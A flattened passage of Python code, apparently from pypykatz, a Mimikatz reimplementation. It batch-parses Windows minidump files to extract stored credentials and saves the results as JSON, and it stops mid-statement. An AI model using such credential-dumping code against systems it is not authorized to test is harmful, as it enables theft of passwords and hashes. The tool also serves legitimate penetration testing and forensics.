files_with_error = [] results = {} if args.directory: dir_fullpath = os.path.abspath(args.minidumpfile) file_pattern = '*.dmp' if args.recursive == True: globdata = os.path.join(dir_fullpath, '**', file_pattern) else: globdata = os.path.join(dir_fullpath, file_pattern) logging.info('Parsing folder %s' % dir_fullpath) for filename in glob.glob(globdata, recursive=args.recursive): logging.info('Parsing file %s' % filename) try: mimi = pypykatz.parse_minidump_file(filename) results[filename] = mimi except Exception as e: files_with_error.append(filename) logging.exception('Error parsing file %s ' % filename) if args.halt_on_error == True: raise e else: pass if args.outfile and args.json: with open(args.outfile, 'w') as f: json.dump(results, f, cls=UniversalEncoder, indent=4,